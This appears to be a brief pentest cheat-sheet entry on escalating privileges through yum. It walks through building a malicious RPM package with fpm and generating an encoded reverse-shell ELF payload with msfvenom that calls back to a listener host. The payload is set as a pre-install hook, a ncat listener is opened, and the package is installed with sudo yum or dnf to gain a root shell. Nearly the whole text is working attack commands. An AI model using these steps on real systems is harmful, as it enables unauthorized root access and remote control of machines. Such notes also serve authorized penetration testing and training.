yum

  • https://medium.com/@klockw3rk/privilege-escalation-how-to-build-rpm-payloads-in-kali-linux-3a61ef61e8b2

  • https://gtfobins.github.io/gtfobins/yum/

  • create malicious rpm package git clone https://github.com/jordansissel/fpm cd fpm && sudo gem install fpm sudo apt install -y rpm # rpmbuild dependency

  • Create payload with msfvenom msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.4.66 LPORT=1337 -e x86/shikata_ga_nai -a x86 -f elf -o root_reverse_shell

  • package the payload in an rpm file fpm -n root -s dir -t rpm -a all --before-install $PAYLOAD $DESTINATION

  • setup a listener ncat -lnvp $LPORT

  • installation of our malicious package sudo yum --disablerepo=* localinstall -y root-1.0-1.noarch.rpm

  • or sudo dnf install --disablerepo=* -y root-1.0-1.noarch.rpm